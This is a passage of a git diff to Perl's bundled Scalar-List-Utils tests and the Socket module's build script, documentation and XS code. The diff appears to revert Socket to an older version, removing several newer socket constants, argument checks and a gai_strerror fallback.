-is( scalar @ary, 2 );
-is( $ary[0], 5 );
-is( $ary[1], 6 );
-
-@ary = tail -2, ( 4, 5, 6 );
-is( scalar @ary, 1 );
-is( $ary[0], 6 );
-
-@ary = tail 0, ( 4, 5, 6 );
-is( scalar @ary, 0 );
-
-@ary = tail 0;
-is( scalar @ary, 0 );
-
-@ary = tail 5;
-is( scalar @ary, 0 );
-
-@ary = tail -3;
-is( scalar @ary, 0 );
-
-@ary = tail -999;
-is( scalar @ary, 0 );
-
-eval '@ary = tail';
-like( $@, qr{^Not enough arguments for List::Util::tail} );
diff --git a/cpan/Scalar-List-Utils/t/lln.t b/cpan/Scalar-List-Utils/t/lln.t
index df9ea3aea93b..be928e462b8b 100644
--- a/cpan/Scalar-List-Utils/t/lln.t
+++ b/cpan/Scalar-List-Utils/t/lln.t
@@ -10,9 +10,13 @@ foreach my $num (qw(1 -1 +1 1.0 +1.0 -1.0 -1.0e-12)) {
   ok(looks_like_number($num), "'$num'");
 }
 
-is(!!looks_like_number("Inf"),	    $] >= 5.006001,	'Inf');
-is(!!looks_like_number("Infinity"), $] >= 5.008,	'Infinity');
-is(!!looks_like_number("NaN"),	    $] >= 5.008,	'NaN');
+SKIP: {
+    my $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
+    skip("VAX does not have inf/nan", 3) if $vax_float;
+    is(!!looks_like_number("Inf"),	    $] >= 5.006001,	'Inf');
+    is(!!looks_like_number("Infinity"), $] >= 5.008,	'Infinity');
+    is(!!looks_like_number("NaN"),	    $] >= 5.008,	'NaN');
+}
 is(!!looks_like_number("foo"),	    '',			'foo');
 is(!!looks_like_number(undef),	    '',           	'undef');
 is(!!looks_like_number({}),	    '',			'HASH Ref');
diff --git a/cpan/Scalar-List-Utils/t/pair.t b/cpan/Scalar-List-Utils/t/pair.t
index e65123cc2c79..81acf0659494 100644
--- a/cpan/Scalar-List-Utils/t/pair.t
+++ b/cpan/Scalar-List-Utils/t/pair.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 27;
+use Test::More tests => 26;
 use List::Util qw(pairgrep pairfirst pairmap pairs unpairs pairkeys pairvalues);
 
 no warnings 'misc'; # avoid "Odd number of elements" warnings most of the time
@@ -82,16 +82,6 @@ is_deeply( [ pairmap { my @l = (1) x 1000; "$a=$b" } one => 1, two => 2, three =
            [ "one=1", "two=2", "three=3" ],
            'pairmap copes with stack movement' );
 
-{
-    # do the pairmap and is_deeply as two separate statements to avoid
-    # the stack being extended before pairmap is called
-    my @a = pairmap { $a .. $b }
-                        1 => 3, 4 => 4, 5 => 6, 7 => 1998, 1999 => 2000;
-    my @exp; push @exp, $_ for 1..2000;
-    is_deeply( \@a, \@exp,
-           'pairmap result has more elements than input' );
-}
-
 is_deeply( [ pairs one => 1, two => 2, three => 3 ],
            [ [ one => 1 ], [ two => 2 ], [ three => 3 ] ],
            'pairs' );
diff --git a/cpan/Scalar-List-Utils/t/product.t b/cpan/Scalar-List-Utils/t/product.t
index 87e887cf8860..1aad877531f3 100644
--- a/cpan/Scalar-List-Utils/t/product.t
+++ b/cpan/Scalar-List-Utils/t/product.t
@@ -112,9 +112,8 @@ SKIP: {
   is($t, (1<<31) - (1<<62), 'min * max');
   $t = product($max, $min);
   is($t, (1<<31) - (1<<62), 'max * min');
-
   $t = product($max, $max);
-  is($t,  4611686014132420609, 'max * max'); # (1<<62)-(1<<32)+1), but Perl 5.6 does not compute constant correctly
+  is($t,  (1<<62)-(1<<32)+1, 'max * max');
 
   $t = product($min*8, $min);
   cmp_ok($t, '>',  (1<<61), 'min*8*min'); # may be an NV
diff --git a/cpan/Scalar-List-Utils/t/rt-96343.t b/cpan/Scalar-List-Utils/t/rt-96343.t
index 4deedcb6765d..5328a411dbf8 100644
--- a/cpan/Scalar-List-Utils/t/rt-96343.t
+++ b/cpan/Scalar-List-Utils/t/rt-96343.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2;
+use Test::More;
 
 {
   use List::Util qw( first );
@@ -31,3 +31,5 @@ use Test::More tests => 2;
   is( $var, 'HellO WorlD',
     'any (lc$_) leaves value undisturbed' );
 }
+
+done_testing;
diff --git a/cpan/Scalar-List-Utils/t/sum.t b/cpan/Scalar-List-Utils/t/sum.t
index e2c416df8c01..4639a8ac8d83 100644
--- a/cpan/Scalar-List-Utils/t/sum.t
+++ b/cpan/Scalar-List-Utils/t/sum.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 18;
+use Test::More tests => 17;
 
 use Config;
 use List::Util qw(sum);
@@ -91,20 +91,14 @@ is($v, $v1 + 42 + 2, 'bigint + builtin int');
 }
 
 SKIP: {
-  skip "IV is not at least 64bit", 4 unless $Config{ivsize} >= 8;
+  skip "IV is not at least 64bit", 3 unless $Config{ivsize} >= 8;
 
   # Sum using NV will only preserve 53 bits of integer precision
-  my $t = sum(1152921504606846976, 1); # 1<<60, but Perl 5.6 does not compute constant correctly
-  cmp_ok($t, 'gt', 1152921504606846976, 'sum uses IV where it can'); # string comparison because Perl 5.6 does not compare it numerically correctly
-
-  SKIP: {
-    skip "known to fail on $]", 1 if $] le "5.006002";
-    $t = sum(1<<60, 1);
-    cmp_ok($t, '>', 1<<60, 'sum uses IV where it can');
-  }
+  my $t = sum(1<<60, 1);
+  cmp_ok($t, '>', 1<<60, 'sum uses IV where it can');
 
   my $min = -(1<<63);
-  my $max = 9223372036854775807; # (1<<63)-1, but Perl 5.6 does not compute constant correctly
+  my $max = (1<<63)-1;
 
   $t = sum($min, $max);
   is($t, -1, 'min + max');
diff --git a/cpan/Scalar-List-Utils/t/uniq.t b/cpan/Scalar-List-Utils/t/uniq.t
index 8806b8e7d7d9..354b2137ac43 100644
--- a/cpan/Scalar-List-Utils/t/uniq.t
+++ b/cpan/Scalar-List-Utils/t/uniq.t
@@ -43,8 +43,7 @@ is_deeply( [ uniqstr qw( 1 1.0 1E0 ) ],
                'uniqstr on undef coerces to empty-string' );
 }
 
-SKIP: {
-    skip 'Perl 5.007003 with utf8::encode is required', 3 if $] lt "5.007003";
+{
     my $warnings = "";
     local $SIG{__WARN__} = sub { $warnings .= join "", @_ };
 
@@ -54,15 +53,11 @@ SKIP: {
                [ $cafe ],
                'uniqstr is happy with Unicode strings' );
 
-    SKIP: {
-      skip "utf8::encode not available", 1
-        unless defined &utf8::encode;
-      utf8::encode( my $cafebytes = $cafe );
+    utf8::encode( my $cafebytes = $cafe );
 
-      is_deeply( [ uniqstr $cafe, $cafebytes ],
-                [ $cafe, $cafebytes ],
-                'uniqstr does not squash bytewise-equal but differently-encoded strings' );
-    }
+    is_deeply( [ uniqstr $cafe, $cafebytes ],
+               [ $cafe, $cafebytes ],
+               'uniqstr does not squash bytewise-equal but differently-encoded strings' );
 
     is( $warnings, "", 'No warnings are printed when handling Unicode strings' );
 }
@@ -75,24 +70,25 @@ is_deeply( [ uniqnum qw( 1 1.1 1.2 1.3 ) ],
            [ 1, 1.1, 1.2, 1.3 ],
            'uniqnum distinguishes floats' );
 
+SKIP: {
+my $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
+skip("VAX does not have inf/nan", 1) if $vax_float;
+
 # Hard to know for sure what an Inf is going to be. Lets make one
-my $Inf = 0 + 1E1000;
+my $Inf = 0 + eval '1E1000';
 my $NaN;
 $Inf **= 1000 while ( $NaN = $Inf - $Inf ) == $NaN;
 
 is_deeply( [ uniqnum 0, 1, 12345, $Inf, -$Inf, $NaN, 0, $Inf, $NaN ],
            [ 0, 1, 12345, $Inf, -$Inf, $NaN ],
            'uniqnum preserves the special values of +-Inf and Nan' );
+}
 
 {
-    my $maxuint = ~0;
-    my $maxint = ~0 >> 1;
-    my $minint = -(~0 >> 1) - 1;
-
-    my @nums = ($maxuint, $maxuint-1, -1, $Inf, $NaN, $maxint, $minint, 1 );
+    my $maxint = ~0;
 
-    is_deeply( [ uniqnum @nums, 1.0 ],
-               [ @nums ],
+    is_deeply( [ uniqnum $maxint, $maxint-1, -1 ],
+               [ $maxint, $maxint-1, -1 ],
                'uniqnum preserves uniqness of full integer range' );
 }
 
@@ -143,8 +139,8 @@ is( scalar( uniqstr qw( a b c d a b e ) ), 5, 'uniqstr() in scalar context' );
 
     my @strs = map { Stringify->new( $_ ) } qw( foo foo bar );
 
-    is_deeply( [ map "$_", uniqstr @strs ],
-               [ map "$_", $strs[0], $strs[2] ],
+    is_deeply( [ uniqstr @strs ],
+               [ $strs[0], $strs[2] ],
                'uniqstr respects stringify overload' );
 }
 
diff --git a/cpan/Socket/Makefile.PL b/cpan/Socket/Makefile.PL
index 5eab38080a99..3bad65516dcc 100644
--- a/cpan/Socket/Makefile.PL
+++ b/cpan/Socket/Makefile.PL
@@ -14,7 +14,7 @@ sub check_for
 {
     my %args = @_;
     return if $ENV{PERL_CORE};
-    return if defined $args{confkey} and defined $Config{$args{confkey}};
+    return if defined $Config{$args{confkey}};
 
     require ExtUtils::CBuilder;
     $cb ||= ExtUtils::CBuilder->new( quiet => 1 );
@@ -77,13 +77,12 @@ sub check_for_func
 }
 
 my %defines = (
-    # -Dfoo                func()         $Config{key}
-    HAS_GETADDRINFO  => [ "getaddrinfo",  "d_getaddrinfo" ],
-    HAS_GETNAMEINFO  => [ "getnameinfo",  "d_getnameinfo" ],
-    HAS_GAI_STRERROR => [ "gai_strerror", "d_gai_strerror" ],
-    HAS_INET_ATON    => [ "inet_aton",    "d_inetaton" ],
-    HAS_INETNTOP     => [ "inet_ntop",    "d_inetntop" ],
-    HAS_INETPTON     => [ "inet_pton",    "d_inetpton" ],
+    # -Dfoo               func()        $Config{key}
+    HAS_GETADDRINFO => [ "getaddrinfo", "d_getaddrinfo" ],
+    HAS_GETNAMEINFO => [ "getnameinfo", "d_getnameinfo" ],
+    HAS_INET_ATON   => [ "inet_aton",   "d_inetaton" ],
+    HAS_INETNTOP    => [ "inet_ntop",   "d_inetntop" ],
+    HAS_INETPTON    => [ "inet_pton",   "d_inetpton" ],
 );
 
 foreach my $define ( sort keys %defines ) {
@@ -178,25 +177,20 @@ my @names = (
 
 	IOV_MAX
 
-	IP_ADD_MEMBERSHIP IP_ADD_SOURCE_MEMBERSHIP IP_BIND_ADDRESS_NO_PORT
-	IP_DROP_MEMBERSHIP IP_DROP_SOURCE_MEMBERSHIP IP_FREEBIND IP_HDRINCL
-	IP_MULTICAST_ALL IP_MULTICAST_IF IP_MULTICAST_LOOP IP_MULTICAST_TTL
-	IP_MTU IP_MTU_DISCOVER IP_NODEFRAG IP_OPTIONS IP_RECVERR IP_RECVOPTS
-	IP_RECVRETOPTS IP_RETOPTS IP_TOS IP_TRANSPARENT IP_TTL
-
-	IP_PMTUDISC_DO IP_PMTUDISC_DONT IP_PMTUDISC_PROBE IP_PMTUDISC_WANT
+	IP_ADD_MEMBERSHIP IP_ADD_SOURCE_MEMBERSHIP IP_DROP_MEMBERSHIP
+	IP_DROP_SOURCE_MEMBERSHIP IP_HDRINCL IP_MULTICAST_IF IP_MULTICAST_LOOP
+	IP_MULTICAST_TTL IP_OPTIONS IP_RECVOPTS IP_RECVRETOPTS IP_RETOPTS IP_TOS
+	IP_TTL
 
 	IPTOS_LOWDELAY IPTOS_THROUGHPUT IPTOS_RELIABILITY IPTOS_MINCOST
 
-	IPV6_ADDRFROM IPV6_ADD_MEMBERSHIP IPV6_DROP_MEMBERSHIP IPV6_JOIN_GROUP
+	IPV6_ADD_MEMBERSHIP IPV6_DROP_MEMBERSHIP IPV6_JOIN_GROUP
 	IPV6_LEAVE_GROUP IPV6_MTU IPV6_MTU_DISCOVER IPV6_MULTICAST_HOPS
-	IPV6_MULTICAST_IF IPV6_MULTICAST_LOOP IPV6_RECVERR IPV6_ROUTER_ALERT
-	IPV6_UNICAST_HOPS IPV6_V6ONLY
+	IPV6_MULTICAST_IF IPV6_MULTICAST_LOOP IPV6_UNICAST_HOPS IPV6_V6ONLY
 
 	MSG_BCAST MSG_BTAG MSG_CTLFLAGS MSG_CTLIGNORE MSG_DONTWAIT MSG_EOF
-	MSG_EOR MSG_ERRQUEUE MSG_ETAG MSG_FASTOPEN MSG_FIN MSG_MAXIOVLEN
-	MSG_MCAST MSG_NOSIGNAL MSG_RST MSG_SYN MSG_TRUNC MSG_URG MSG_WAITALL
-	MSG_WIRE
+	MSG_EOR MSG_ERRQUEUE MSG_ETAG MSG_FIN MSG_MAXIOVLEN MSG_MCAST
+	MSG_NOSIGNAL MSG_RST MSG_SYN MSG_TRUNC MSG_URG MSG_WAITALL MSG_WIRE
 
 	NI_DGRAM NI_IDN NI_IDN_ALLOW_UNASSIGNED NI_IDN_USE_STD3_ASCII_RULES
 	NI_NAMEREQD NI_NOFQDN NI_NUMERICHOST NI_NUMERICSERV
@@ -219,35 +213,32 @@ my @names = (
 	SO_ACCEPTCONN SO_ATTACH_FILTER SO_BACKLOG SO_BINDTODEVICE SO_BROADCAST
 	SO_BSDCOMPAT SO_BUSY_POLL SO_CHAMELEON SO_DEBUG SO_DETACH_FILTER
 	SO_DGRAM_ERRIND SO_DOMAIN SO_DONTLINGER SO_DONTROUTE SO_ERROR SO_FAMILY
-	SO_KEEPALIVE SO_LINGER SO_LOCK_FILTER SO_MARK SO_OOBINLINE SO_PASSCRED
-	SO_PASSIFNAME SO_PEEK_OFF SO_PEERCRED SO_PRIORITY SO_PROTOCOL
-	SO_PROTOTYPE SO_RCVBUF SO_RCVBUFFORCE SO_RCVLOWAT SO_RCVTIMEO
-	SO_REUSEADDR SO_REUSEPORT SO_RXQ_OVFL SO_SECURITY_AUTHENTICATION
-	SO_SECURITY_ENCRYPTION_NETWORK SO_SECURITY_ENCRYPTION_TRANSPORT
-	SO_SNDBUF SO_SNDBUFFORCE SO_SNDLOWAT SO_SNDTIMEO SO_STATE SO_TIMESTAMP
-	SO_TYPE SO_USELOOPBACK SO_XOPEN SO_XSE
-
-	TCP_CONGESTION TCP_CONNECTIONTIMEOUT TCP_CORK TCP_DEFER_ACCEPT
-	TCP_FASTOPEN TCP_INFO TCP_INIT_CWND TCP_KEEPALIVE TCP_KEEPCNT
-	TCP_KEEPIDLE TCP_KEEPINTVL TCP_LINGER2 TCP_MAXRT TCP_MAXSEG
-	TCP_MD5SIG TCP_NODELAY TCP_NOOPT TCP_NOPUSH TCP_QUICKACK
-	TCP_SACK_ENABLE TCP_STDURG TCP_SYNCNT TCP_USER_TIMEOUT
+	SO_KEEPALIVE SO_LINGER SO_MARK SO_OOBINLINE SO_PASSCRED SO_PASSIFNAME
+	SO_PEEK_OFF SO_PEERCRED SO_PRIORITY SO_PROTOCOL SO_PROTOTYPE SO_RCVBUF
+	SO_RCVLOWAT SO_RCVTIMEO SO_REUSEADDR SO_REUSEPORT
+	SO_SECURITY_AUTHENTICATION SO_SECURITY_ENCRYPTION_NETWORK
+	SO_SECURITY_ENCRYPTION_TRANSPORT SO_SNDBUF SO_SNDLOWAT SO_SNDTIMEO
+	SO_STATE SO_TIMESTAMP SO_TYPE SO_USELOOPBACK SO_XOPEN SO_XSE
+
+	TCP_CONGESTION TCP_CONNECTIONTIMEOUT TCP_CORK TCP_DEFER_ACCEPT TCP_INFO
+	TCP_INIT_CWND TCP_KEEPALIVE TCP_KEEPCNT TCP_KEEPIDLE TCP_KEEPINTVL
+	TCP_LINGER2 TCP_MAXRT TCP_MAXSEG TCP_MD5SIG TCP_NODELAY TCP_NOOPT
+	TCP_NOPUSH TCP_QUICKACK TCP_SACK_ENABLE TCP_STDURG TCP_SYNCNT
 	TCP_WINDOW_CLAMP
 
 	UIO_MAXIOV
     ),
-    {name=>"IPPROTO_IP",     type=>"IV", default=>["IV",   0]},
-    {name=>"IPPROTO_IPV6",   type=>"IV", default=>["IV",  41]},
-    {name=>"IPPROTO_RAW",    type=>"IV", default=>["IV", 255]},
-    {name=>"IPPROTO_ICMP",   type=>"IV", default=>["IV",   1]},
-    {name=>"IPPROTO_IGMP",   type=>"IV", default=>["IV",   2]},
-    {name=>"IPPROTO_TCP",    type=>"IV", default=>["IV",   6]},
-    {name=>"IPPROTO_UDP",    type=>"IV", default=>["IV",  17]},
-    {name=>"IPPROTO_GRE",    type=>"IV", default=>["IV",  47]},
-    {name=>"IPPROTO_ESP",    type=>"IV", default=>["IV",  50]},
-    {name=>"IPPROTO_AH",     type=>"IV", default=>["IV",  51]},
-    {name=>"IPPROTO_ICMPV6", type=>"IV", default=>["IV",  58]},
-    {name=>"IPPROTO_SCTP",   type=>"IV", default=>["IV", 132]},
+    {name=>"IPPROTO_IP",   type=>"IV", default=>["IV",   0]},
+    {name=>"IPPROTO_IPV6", type=>"IV", default=>["IV",  41]},
+    {name=>"IPPROTO_RAW",  type=>"IV", default=>["IV", 255]},
+    {name=>"IPPROTO_ICMP", type=>"IV", default=>["IV",   1]},
+    {name=>"IPPROTO_IGMP", type=>"IV", default=>["IV",   2]},
+    {name=>"IPPROTO_TCP",  type=>"IV", default=>["IV",   6]},
+    {name=>"IPPROTO_UDP",  type=>"IV", default=>["IV",  17]},
+    {name=>"IPPROTO_GRE",  type=>"IV", default=>["IV",  47]},
+    {name=>"IPPROTO_ESP",  type=>"IV", default=>["IV",  50]},
+    {name=>"IPPROTO_AH",   type=>"IV", default=>["IV",  51]},
+    {name=>"IPPROTO_SCTP", type=>"IV", default=>["IV", 132]},
     {name=>"SHUT_RD",   type=>"IV", default=>["IV", "0"]},
     {name=>"SHUT_WR",   type=>"IV", default=>["IV", "1"]},
     {name=>"SHUT_RDWR", type=>"IV", default=>["IV", "2"]},
diff --git a/cpan/Socket/Socket.pm b/cpan/Socket/Socket.pm
index 370deef10360..5b187facf2fb 100644
--- a/cpan/Socket/Socket.pm
+++ b/cpan/Socket/Socket.pm
@@ -3,7 +3,7 @@ package Socket;
 use strict;
 { use 5.006001; }
 
-our $VERSION = '2.027';
+our $VERSION = '2.020_03'; # patched in perl5.git
 
 =head1 NAME
 
@@ -108,10 +108,6 @@ C level.
 Socket option name constants for IPv4 socket options at the C
 level.
 
-=head2 IP_PMTUDISC_WANT, IP_PMTUDISC_DONT, ...
-
-Socket option value contants for C socket option.
-
 =head2 IPTOS_LOWDELAY, IPTOS_THROUGHPUT, IPTOS_RELIABILITY, ...
 
 Socket option value constants for C socket option.
@@ -184,9 +180,6 @@ arguments packed in and C filled in. For Internet domain sockets,
 this structure is normally what you need for the arguments in bind(),
 connect(), and send().
 
-An undefined $port argument is taken as zero; an undefined $ip_address is
-considered a fatal error.
-
 =head2 ($port, $ip_address) = unpack_sockaddr_in $sockaddr
 
 Takes a C structure (as returned by pack_sockaddr_in(),
@@ -216,9 +209,6 @@ inet_pton()), optionally a scope ID number, and optionally a flow label
 number. Returns the C structure with those arguments packed in
 and C filled in. IPv6 equivalent of pack_sockaddr_in().
 
-An undefined $port argument is taken as zero; an undefined $ip6_address is
-considered a fatal error.
-
 =head2 ($port, $ip6_address, $scope_id, $flowinfo) = unpack_sockaddr_in6 $sockaddr
 
 Takes a C structure. Returns a list of four elements: the port
@@ -394,7 +384,7 @@ Restrict to only generating addresses for this protocol
 The return value will be a list; the first value being an error indication,
 followed by a list of address structures (if no error occurred).
 
-The error value will be a dualvar; comparable to the C error constants,
+The error value will be a dualvar; comparable to the C error constants,
 or printable as a human-readable error message string. If no error occurred it
 will be zero numerically and an empty string.
 
@@ -462,7 +452,7 @@ constants, or defaults to 0 if unspecified.
 The return value will be a list; the first value being an error condition,
 followed by the hostname and service name.
 
-The error value will be a dualvar; comparable to the C error constants,
+The error value will be a dualvar; comparable to the C error constants,
 or printable as a human-readable error message string. The host and service
 names will be plain strings.
 
@@ -732,11 +722,11 @@ our @EXPORT = qw(
 	SO_SECURITY_ENCRYPTION_TRANSPORT SO_SNDBUF SO_SNDLOWAT SO_SNDTIMEO
 	SO_STATE SO_TYPE SO_USELOOPBACK SO_XOPEN SO_XSE
 
-	IP_HDRINCL IP_OPTIONS IP_RECVOPTS IP_RECVRETOPTS IP_RETOPTS IP_TOS
-	IP_TTL
+	IP_OPTIONS IP_HDRINCL IP_TOS IP_TTL IP_RECVOPTS IP_RECVRETOPTS
+	IP_RETOPTS
 
 	MSG_BCAST MSG_BTAG MSG_CTLFLAGS MSG_CTLIGNORE MSG_CTRUNC MSG_DONTROUTE
-	MSG_DONTWAIT MSG_EOF MSG_EOR MSG_ERRQUEUE MSG_ETAG MSG_FASTOPEN MSG_FIN
+	MSG_DONTWAIT MSG_EOF MSG_EOR MSG_ERRQUEUE MSG_ETAG MSG_FIN
 	MSG_MAXIOVLEN MSG_MCAST MSG_NOSIGNAL MSG_OOB MSG_PEEK MSG_PROXY MSG_RST
 	MSG_SYN MSG_TRUNC MSG_URG MSG_WAITALL MSG_WIRE
 
@@ -766,34 +756,27 @@ our @EXPORT_OK = qw(
 
 	SOCK_NONBLOCK SOCK_CLOEXEC
 
-	IP_ADD_MEMBERSHIP IP_ADD_SOURCE_MEMBERSHIP IP_BIND_ADDRESS_NO_PORT
-	IP_DROP_MEMBERSHIP IP_DROP_SOURCE_MEMBERSHIP IP_FREEBIND
-	IP_MULTICAST_ALL IP_MULTICAST_IF IP_MULTICAST_LOOP IP_MULTICAST_TTL
-	IP_MTU IP_MTU_DISCOVER IP_NODEFRAG IP_RECVERR IP_TRANSPARENT
+	IP_ADD_MEMBERSHIP IP_ADD_SOURCE_MEMBERSHIP IP_DROP_MEMBERSHIP
+	IP_DROP_SOURCE_MEMBERSHIP IP_MULTICAST_IF IP_MULTICAST_LOOP
+	IP_MULTICAST_TTL
 
 	IPPROTO_IP IPPROTO_IPV6 IPPROTO_RAW IPPROTO_ICMP IPPROTO_IGMP
 	IPPROTO_TCP IPPROTO_UDP IPPROTO_GRE IPPROTO_ESP IPPROTO_AH
-	IPPROTO_ICMPV6 IPPROTO_SCTP
-
-	IP_PMTUDISC_DO IP_PMTUDISC_DONT IP_PMTUDISC_PROBE IP_PMTUDISC_WANT
+	IPPROTO_SCTP
 
 	IPTOS_LOWDELAY IPTOS_THROUGHPUT IPTOS_RELIABILITY IPTOS_MINCOST
 
-	TCP_CONGESTION TCP_CONNECTIONTIMEOUT TCP_CORK TCP_DEFER_ACCEPT
-	TCP_FASTOPEN TCP_INFO TCP_INIT_CWND TCP_KEEPALIVE TCP_KEEPCNT
-	TCP_KEEPIDLE TCP_KEEPINTVL TCP_LINGER2 TCP_MAXRT TCP_MAXSEG
-	TCP_MD5SIG TCP_NODELAY TCP_NOOPT TCP_NOPUSH TCP_QUICKACK
-	TCP_SACK_ENABLE TCP_STDURG TCP_SYNCNT TCP_USER_TIMEOUT
+	TCP_CONGESTION TCP_CONNECTIONTIMEOUT TCP_CORK TCP_DEFER_ACCEPT TCP_INFO
+	TCP_INIT_CWND TCP_KEEPALIVE TCP_KEEPCNT TCP_KEEPIDLE TCP_KEEPINTVL
+	TCP_LINGER2 TCP_MAXRT TCP_MAXSEG TCP_MD5SIG TCP_NODELAY TCP_NOOPT
+	TCP_NOPUSH TCP_QUICKACK TCP_SACK_ENABLE TCP_STDURG TCP_SYNCNT
 	TCP_WINDOW_CLAMP
 
 	IN6ADDR_ANY IN6ADDR_LOOPBACK
 
-	IPV6_ADDRFROM IPV6_ADD_MEMBERSHIP IPV6_DROP_MEMBERSHIP IPV6_JOIN_GROUP
+	IPV6_ADD_MEMBERSHIP IPV6_DROP_MEMBERSHIP IPV6_JOIN_GROUP
 	IPV6_LEAVE_GROUP IPV6_MTU IPV6_MTU_DISCOVER IPV6_MULTICAST_HOPS
-	IPV6_MULTICAST_IF IPV6_MULTICAST_LOOP IPV6_RECVERR IPV6_ROUTER_ALERT
-	IPV6_UNICAST_HOPS IPV6_V6ONLY
-
-	SO_LOCK_FILTER SO_RCVBUFFORCE SO_SNDBUFFORCE
+	IPV6_MULTICAST_IF IPV6_MULTICAST_LOOP IPV6_UNICAST_HOPS IPV6_V6ONLY
 
 	pack_ip_mreq unpack_ip_mreq pack_ip_mreq_source unpack_ip_mreq_source
 
diff --git a/cpan/Socket/Socket.xs b/cpan/Socket/Socket.xs
index b11ea751a7d2..3b1d70eaf40c 100644
--- a/cpan/Socket/Socket.xs
+++ b/cpan/Socket/Socket.xs
@@ -187,7 +187,7 @@ NETINET_DEFINE_CONTEXT
 #endif /* !SvPVx_nolen */
 
 #ifndef croak_sv
-# define croak_sv(sv)	croak("%s", SvPVx_nolen(sv))
+# define croak_sv(sv)	croak(SvPVx_nolen(sv))
 #endif
 
 #ifndef hv_stores
@@ -473,65 +473,6 @@ not_here(const char *s)
 
 #include "const-c.inc"
 
-#if defined(HAS_GETADDRINFO) && !defined(HAS_GAI_STRERROR)
-static const char *gai_strerror(int err)
-{
-  switch (err)
-  {
-#ifdef EAI_ADDRFAMILY
-  case EAI_ADDRFAMILY:
-    return "Address family for hostname is not supported.";
-#endif
-#ifdef EAI_AGAIN
-  case EAI_AGAIN:
-    return "The name could not be resolved at this time.";
-#endif
-#ifdef EAI_BADFLAGS
-  case EAI_BADFLAGS:
-    return "The flags parameter has an invalid value.";
-#endif
-#ifdef EAI_FAIL
-  case EAI_FAIL:
-    return "A non-recoverable error occurred while resolving the name.";
-#endif
-#ifdef EAI_FAMILY
-  case EAI_FAMILY:
-    return "The address family was not recognized or length is invalid.";
-#endif
-#ifdef EAI_MEMORY
-  case EAI_MEMORY:
-    return "A memory allocation failure occurred.";
-#endif
-#ifdef EAI_NODATA
-  case EAI_NODATA:
-    return "No address is associated with the hostname.";
-#endif
-#ifdef EAI_NONAME
-  case EAI_NONAME:
-    return "The name does not resolve for the supplied parameters.";
-#endif
-#ifdef EAI_OVERFLOW
-  case EAI_OVERFLOW:
-    return "An argument buffer overflowed.";
-#endif
-#ifdef EAI_SERVICE
-  case EAI_SERVICE:
-    return "The service parameter was not recognized for the specified socket type.";
-#endif
-#ifdef EAI_SOCKTYPE
-  case EAI_SOCKTYPE:
-    return "The specified socket type was not recognized.";
-#endif
-#ifdef EAI_SYSTEM
-  case EAI_SYSTEM:
-    return "A system error occurred - see errno.";
-#endif
-  default:
-    return "Unknown error in getaddrinfo().";
-  }
-}
-#endif
-
 #ifdef HAS_GETADDRINFO
 static SV *err_to_SV(pTHX_ int err)
 {
@@ -752,13 +693,13 @@ inet_aton(host)
 		ST(0) = sv_2mortal(newSVpvn((char *)&ip_address, sizeof(ip_address)));
 		XSRETURN(1);
 	}
-#ifdef HAS_GETHOSTBYNAME
+
 	phe = gethostbyname(host);
 	if (phe && phe->h_addrtype == AF_INET && phe->h_length == 4) {
 		ST(0) = sv_2mortal(newSVpvn((char *)phe->h_addr, phe->h_length));
 		XSRETURN(1);
 	}
-#endif
+
 	XSRETURN_UNDEF;
 	}
 
@@ -780,8 +721,7 @@ inet_ntoa(ip_address_sv)
 		    (ip_address[2] & 0xFF) <<  8 |
 		    (ip_address[3] & 0xFF);
 	else
-		croak("Bad arg length for %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::inet_ntoa", (UV)addrlen, (UV)sizeof(addr));
 	/* We could use inet_ntoa() but that is broken
 	 * in HP-UX + GCC + 64bitint (returns "0.0.0.0"),
@@ -802,8 +742,7 @@ sockaddr_family(sockaddr)
 	char *sockaddr_pv = SvPVbyte(sockaddr, sockaddr_len);
 	CODE:
 	if (sockaddr_len < STRUCT_OFFSET(struct sockaddr, sa_data))
-		croak("Bad arg length for %s, length is %" UVuf
-                      ", should be at least %" UVuf,
+		croak("Bad arg length for %s, length is %"UVuf", should be at least %"UVuf,
 		      "Socket::sockaddr_family", (UV)sockaddr_len,
 		      (UV)STRUCT_OFFSET(struct sockaddr, sa_data));
 	ST(0) = sv_2mortal(newSViv(((struct sockaddr*)sockaddr_pv)->sa_family));
@@ -819,18 +758,11 @@ pack_sockaddr_un(pathname)
 	char * pathname_pv;
 	int addr_len;
 
-	if (!SvOK(pathname))
-	    croak("Undefined path for %s", "Socket::pack_sockaddr_un");
-
 	Zero(&sun_ad, sizeof(sun_ad), char);
 	sun_ad.sun_family = AF_UNIX;
 	pathname_pv = SvPV(pathname,len);
-	if (len > sizeof(sun_ad.sun_path)) {
-	    warn("Path length (%" UVuf ") is longer than maximum supported length"
-	         " (%" UVuf ") and will be truncated",
-	         (UV)len, (UV)sizeof(sun_ad.sun_path));
+	if (len > sizeof(sun_ad.sun_path))
 	    len = sizeof(sun_ad.sun_path);
-	}
 #  ifdef OS2	/* Name should start with \socket\ and contain backslashes! */
 	{
 		int off;
@@ -886,11 +818,8 @@ unpack_sockaddr_un(sun_sv)
 #ifdef I_SYS_UN
 	struct sockaddr_un addr;
 	STRLEN sockaddrlen;
-	char * sun_ad;
-	int addr_len = 0;
-	if (!SvOK(sun_sv))
-	    croak("Undefined address for %s", "Socket::unpack_sockaddr_un");
-	sun_ad = SvPVbyte(sun_sv,sockaddrlen);
+	char * sun_ad = SvPVbyte(sun_sv,sockaddrlen);
+	int addr_len;
 #   if defined(__linux__) || defined(HAS_SOCKADDR_SA_LEN)
 	/* On Linux or *BSD sockaddrlen on sockets returned by accept, recvfrom,
 	   getpeername and getsockname is not equal to sizeof(addr). */
@@ -903,14 +832,12 @@ unpack_sockaddr_un(sun_sv)
 #     ifdef HAS_SOCKADDR_SA_LEN
 	/* In this case, sun_len must be checked */
 	if (sockaddrlen != addr.sun_len)
-		croak("Invalid arg sun_len field for %s, length is %" UVuf
-                      ", but sun_len is %" UVuf,
+		croak("Invalid arg sun_len field for %s, length is %"UVuf", but sun_len is %"UVuf,
 		      "Socket::unpack_sockaddr_un", (UV)sockaddrlen, (UV)addr.sun_len);
 #     endif
 #   else
 	if (sockaddrlen != sizeof(addr))
-		croak("Bad arg length for %s, length is %" UVuf
